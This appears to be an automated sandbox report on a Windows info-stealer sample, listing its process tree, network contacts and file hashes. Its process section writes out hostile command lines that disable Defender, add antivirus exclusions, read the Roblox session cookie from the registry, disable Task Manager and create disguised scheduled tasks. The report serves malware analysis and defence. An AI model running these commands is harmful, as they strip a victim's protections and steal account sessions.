PID 2904 wrote to memory of 4468 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\чекер dc.exe
PID 2904 wrote to memory of 4468 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\чекер dc.exe
PID 2904 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\Inject.exe
PID 2904 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\Inject.exe
PID 4440 wrote to memory of 1380 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\Wbem\wmic.exe
PID 4440 wrote to memory of 1380 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\Wbem\wmic.exe
PID 4468 wrote to memory of 4532 N/A C:\Users\Admin\AppData\Local\Temp\чекер dc.exe C:\Windows\SysWOW64\WScript.exe
PID 4468 wrote to memory of 4532 N/A C:\Users\Admin\AppData\Local\Temp\чекер dc.exe C:\Windows\SysWOW64\WScript.exe
PID 4468 wrote to memory of 4532 N/A C:\Users\Admin\AppData\Local\Temp\чекер dc.exe C:\Windows\SysWOW64\WScript.exe
PID 4440 wrote to memory of 1324 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\SYSTEM32\attrib.exe
PID 4440 wrote to memory of 1324 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\SYSTEM32\attrib.exe
PID 4440 wrote to memory of 468 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4440 wrote to memory of 468 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4440 wrote to memory of 5108 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4440 wrote to memory of 5108 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4440 wrote to memory of 4592 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4440 wrote to memory of 4592 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4440 wrote to memory of 3116 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4440 wrote to memory of 3116 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4440 wrote to memory of 3480 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\Wbem\wmic.exe
PID 4440 wrote to memory of 3480 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\Wbem\wmic.exe
PID 4440 wrote to memory of 4824 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\Wbem\wmic.exe
PID 4440 wrote to memory of 4824 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\Wbem\wmic.exe
PID 4440 wrote to memory of 4124 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\Wbem\wmic.exe
PID 4440 wrote to memory of 4124 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\Wbem\wmic.exe
PID 4440 wrote to memory of 3404 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4440 wrote to memory of 3404 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4440 wrote to memory of 3916 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\Wbem\wmic.exe
PID 4440 wrote to memory of 3916 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\Wbem\wmic.exe
PID 4440 wrote to memory of 2940 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\SYSTEM32\cmd.exe
PID 4440 wrote to memory of 2940 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\SYSTEM32\cmd.exe
PID 2940 wrote to memory of 3288 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\PING.EXE
PID 2940 wrote to memory of 3288 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\PING.EXE
PID 4532 wrote to memory of 4900 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 4532 wrote to memory of 4900 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 4532 wrote to memory of 4900 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 4900 wrote to memory of 624 N/A C:\Windows\SysWOW64\cmd.exe C:\MsWinsessiondllNet\driverBrokercommon.exe
PID 4900 wrote to memory of 624 N/A C:\Windows\SysWOW64\cmd.exe C:\MsWinsessiondllNet\driverBrokercommon.exe
PID 624 wrote to memory of 3252 N/A C:\MsWinsessiondllNet\driverBrokercommon.exe C:\Windows\System32\cmd.exe
PID 624 wrote to memory of 3252 N/A C:\MsWinsessiondllNet\driverBrokercommon.exe C:\Windows\System32\cmd.exe
PID 4900 wrote to memory of 4744 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 4900 wrote to memory of 4744 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 4900 wrote to memory of 4744 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 3252 wrote to memory of 3080 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\w32tm.exe
PID 3252 wrote to memory of 3080 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\w32tm.exe
PID 3252 wrote to memory of 4688 N/A C:\Windows\System32\cmd.exe C:\MsWinsessiondllNet\csrss.exe
PID 3252 wrote to memory of 4688 N/A C:\Windows\System32\cmd.exe C:\MsWinsessiondllNet\csrss.exe
PID 4688 wrote to memory of 1956 N/A C:\MsWinsessiondllNet\csrss.exe C:\Windows\System32\WScript.exe
PID 4688 wrote to memory of 1956 N/A C:\MsWinsessiondllNet\csrss.exe C:\Windows\System32\WScript.exe
PID 4688 wrote to memory of 2996 N/A C:\MsWinsessiondllNet\csrss.exe C:\Windows\System32\WScript.exe
PID 4688 wrote to memory of 2996 N/A C:\MsWinsessiondllNet\csrss.exe C:\Windows\System32\WScript.exe

Uses Task Scheduler COM API

persistence

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe

"C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe"

C:\Users\Admin\AppData\Local\Temp\stealer.exe

"C:\Users\Admin\AppData\Local\Temp\stealer.exe"

C:\Users\Admin\AppData\Local\Temp\чекер dc.exe

"C:\Users\Admin\AppData\Local\Temp\чекер dc.exe"

C:\Users\Admin\AppData\Local\Temp\Inject.exe

"C:\Users\Admin\AppData\Local\Temp\Inject.exe"

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\MsWinsessiondllNet\zHYxYvywzA0UOqnH8B4aBgoRvO2C5.vbe"

C:\Windows\SYSTEM32\attrib.exe

"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\stealer.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\stealer.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" os get Caption

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" computersystem get totalphysicalmemory

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\System32\Wbem\wmic.exe

"wmic" path win32_VideoController get name

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\stealer.exe" && pause

C:\Windows\system32\PING.EXE

ping localhost

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\MsWinsessiondllNet\q6hjn2OvCg2VETYAoy3FIOj.bat" "

C:\MsWinsessiondllNet\driverBrokercommon.exe

"C:\MsWinsessiondllNet\driverBrokercommon.exe"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 9 /tr "'C:\Users\Admin\Links\System.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Users\Admin\Links\System.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\Links\System.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 5 /tr "'C:\MsWinsessiondllNet\csrss.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\MsWinsessiondllNet\csrss.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 5 /tr "'C:\MsWinsessiondllNet\csrss.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 12 /tr "'C:\MsWinsessiondllNet\unsecapp.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\MsWinsessiondllNet\unsecapp.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 10 /tr "'C:\MsWinsessiondllNet\unsecapp.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Common Files\Adobe\Acrobat\conhost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Adobe\Acrobat\conhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Common Files\Adobe\Acrobat\conhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 5 /tr "'C:\Windows\SystemResources\Windows.UI.ShellCommonInetCore\SearchApp.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Windows\SystemResources\Windows.UI.ShellCommonInetCore\SearchApp.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 11 /tr "'C:\Windows\SystemResources\Windows.UI.ShellCommonInetCore\SearchApp.exe'" /rl HIGHEST /f

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\zv5EjZvQwa.bat"

C:\Windows\SysWOW64\reg.exe

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

C:\Windows\system32\w32tm.exe

w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2

C:\MsWinsessiondllNet\csrss.exe

"C:\MsWinsessiondllNet\csrss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9fce6a35-a5d7-4e31-8567-7bee8400eb5e.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9802ccd6-4030-46fb-b238-ffcfa505b77a.vbs"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 216.58.201.99:443 gstatic.com tcp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 99.201.58.216.in-addr.arpa udp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discord.com udp
US 162.159.138.232:443 discord.com tcp
US 8.8.8.8:53 232.138.159.162.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 a0947008.xsph.ru udp
RU 141.8.192.103:80 a0947008.xsph.ru tcp
RU 141.8.192.103:80 a0947008.xsph.ru tcp
US 8.8.8.8:53 103.192.8.141.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 14.251.17.2.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
RU 141.8.192.103:80 a0947008.xsph.ru tcp

Files

memory/2904-0-0x0000000000400000-0x000000000084E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\stealer.exe

MD5 8cc1e7cf94fec9bc505ce7411aa28861
SHA1 08703de84f3db427c368f16c873664d78bd83264
SHA256 cc60087c94ea0ab843dcae2cdd76ac5e9c90599d2909bbba12881babf46158ba
SHA512 fe60f11452c9e470c0b63385cf0ee8f9fd07598c1294ba25cc8c7c093142efe865aba39680ae5f80611db9423717a7094c939f180e5195e7ae91a9633872a423

memory/4440-62-0x00007FFE3E233000-0x00007FFE3E235000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\чекер dc.exe

MD5 6216b6bef94c09a40bfa263809b1ae56
SHA1 a928120e65199c6aaae6c991aa0466f3f8b06020
SHA256 eabc7e4491961469ccb9c8cd716dbaf5285ecb8ad3edfc6bfec133a1ec80f05b
SHA512 0e311738b5bdf73f01c552b59646485418ab5b99862af5da2bb934d4262307ac8f57274bbd7f6c99376e6be99d424aad5282a73a063529310425666be224d215

memory/4440-65-0x000002423EB90000-0x000002423EBD0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Inject.exe

MD5 d428ddd1b0ce85a6c96765aeaf246320
SHA1 d100efdaab5b2ad851fe75a28d0aa95deb920926
SHA256 453a331db812ed6e0ce6cca5d3b5be26e66c44b5f6fbdc88f98442670b8daecb
SHA512 3f9dda9d998ef282eb31644296ef0617bbf40352189f4ccd744191f466e932ffde2fd2bdaebe89f0bc06e465d57a8e46e08b3001fe834b3d989fc71125d25899

memory/4440-126-0x00007FFE3E230000-0x00007FFE3ECF1000-memory.dmp

memory/2808-127-0x00007FF68D870000-0x00007FF68D89A000-memory.dmp

C:\MsWinsessiondllNet\zHYxYvywzA0UOqnH8B4aBgoRvO2C5.vbe

MD5 7c9bb5fda146efee5ee4a243d6e404b0
SHA1 c2fb82a9efb3a2469e6a120ac4781a7fe26eb3dd
SHA256 1d4b4c4da6c16a2701cec1c24ff21168d26d4f81c0ac8b3e30ed01b8468d488b
SHA512 797e74b283e74a3282223d8035408d55269e4451a289e3873ea197624985121c87dccdbdef42ff99fd8b4d1fd7e856388444e3fc699a9d6b061499682a043771

memory/468-138-0x0000014E6E870000-0x0000014E6E892000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ax1ucl2o.gnu.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d42b6da621e8df5674e26b799c8e2aa
SHA1 ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA512 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

memory/4440-163-0x0000024259330000-0x00000242593A6000-memory.dmp

memory/4440-164-0x00000242593B0000-0x0000024259400000-memory.dmp

memory/4440-165-0x0000024240820000-0x000002424083E000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 74a6b79d36b4aae8b027a218bc6e1af7
SHA1 0350e46c1df6934903c4820a00b0bc4721779e5f
SHA256 60c64f6803d7ad1408d0a8628100470859b16ef332d5f1bd8bb2debe51251d04
SHA512 60e71435a9a23f4c144d641844f4182ddc9aa4ccd3e99232149a187112dce96458aab9587e9fea46f5dc5a52f5ca758969a04657a2b5b10241d3e4554f7c85e0

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 276798eeb29a49dc6e199768bc9c2e71
SHA1 5fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA256 cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
SHA512 0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

memory/4440-201-0x0000024259170000-0x000002425917A000-memory.dmp

memory/4440-202-0x00000242592B0000-0x00000242592C2000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 ec1ba4a995d866b282087b26a0539bbc
SHA1 c4aeae2bc3fa9a898680648b20102f01e8a811cf
SHA256 469da678c3c0364b1b511962cffd44cbfc10aab5c1c528c0c09fd952f08d8a2c
SHA512 07bf757ec9d0d368d3ef1bfc2b562895e2708757f8fefa04fa50beaa6fb38af1018ea0cfccf5666c5c8baa4c894deead9652c53e0608aa6a83ef5b396dba43e9

memory/4440-220-0x00007FFE3E230000-0x00007FFE3ECF1000-memory.dmp

C:\MsWinsessiondllNet\q6hjn2OvCg2VETYAoy3FIOj.bat

MD5 ea70d7b0f1a8a1ff2d246efbdcfe1001
SHA1 252e762aee8fcc5761e17bb84aa3af8276852f5c
SHA256 1947411b5329e6db696c2354b56290b82aaf58b5f5d75fd4f3315fbe27999e31
SHA512 1fd28c415177644e069ded3e0ab3d27105fdac2d76f1060abb127e1961f310c81559e4c1213e61a7f32583cee9f4560106cafc88f0f20cf470edb756aadbec86

C:\MsWinsessiondllNet\driverBrokercommon.exe

MD5 d84e590c3715c79dc5b92c435957d162
SHA1 2901580903e4b356448d9fe7bea510261e655363
SHA256 d81c1097d231fdcb536974ef025f230d1c4091bab3edcf4f9da9344b44b638ba
SHA512 b797cdb43776a7e8a19f9c93299857d8f88651e13c7ba5ddb57f0ac0b24c7b98e6cc6c20ae1561948fb49774edad31cd237f40c9c690d34923ffee56bc02a485

memory/624-225-0x0000000000EC0000-0x000000000110A000-memory.dmp

memory/624-227-0x0000000001950000-0x0000000001958000-memory.dmp

memory/624-226-0x00000000018E0000-0x00000000018E8000-memory.dmp

memory/624-228-0x0000000001960000-0x0000000001970000-memory.dmp

memory/624-229-0x0000000003270000-0x00000000032C6000-memory.dmp

memory/624-230-0x0000000001970000-0x000000000197C000-memory.dmp

memory/624-232-0x000000001C2D0000-0x000000001C2DC000-memory.dmp

memory/624-231-0x00000000032C0000-0x00000000032CC000-memory.dmp

memory/624-233-0x000000001C400000-0x000000001C408000-memory.dmp

memory/624-238-0x000000001C530000-0x000000001C53C000-memory.dmp

memory/624-237-0x000000001C520000-0x000000001C52A000-memory.dmp

memory/624-236-0x000000001C510000-0x000000001C518000-memory.dmp

memory/624-235-0x000000001C3F0000-0x000000001C3FE000-memory.dmp

memory/624-234-0x000000001C3E0000-0x000000001C3EA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\zv5EjZvQwa.bat

MD5 4edf0f350e0cf1ee2376797e9b78ab70
SHA1 1277e43b1e4c70263b1ad6f038e7e22be4e6472c
SHA256 c34c9688c023666946deed786e850650c5be956b3972a4c64be9a410e43d708f
SHA512 24e9f03afed93ace3ec67511afade0bb71ae1b40e26435a1ba3b84fbba776447e22208119f3a732c1530259d7d7fe952088dd0d296cc851ee64908452f517a66

C:\Users\Admin\AppData\Local\Temp\9fce6a35-a5d7-4e31-8567-7bee8400eb5e.vbs

MD5 8a6fd60053dfa824353b3c4d7385652b
SHA1 b73f0af3ceda8e14f2fcb87e1d73b37d9c3f0099
SHA256 97a04ad395852217476be9cee64895d876911c8fc783e376e688f40590614f61
SHA512 dd3dc973e5e807d68b9c3949b0aa94e811458616964950ea14fbe36548f48954505c607eff28e7d0655b967f89ac3bf7f1d59983d767b7cc2d7af1469ef69a28

C:\Users\Admin\AppData\Local\Temp\9802ccd6-4030-46fb-b238-ffcfa505b77a.vbs

MD5 f9b24b2604a5fb1709d7aeb35c8380da
SHA1 bda0adad44295bee07959b64e02afb60e803925b
SHA256 9e5df06a97eb719eb8b848c341304499f7d45754eeb7f6f9d74fd10f1274d585
SHA512 db91d73cbbe68d76655c6ddbed24f67359bea696828f986017a09dd7f7748ee687080b3437a50b8218ace0ab6c80199a21bb7c5fbe785381f7feb0a3350cceef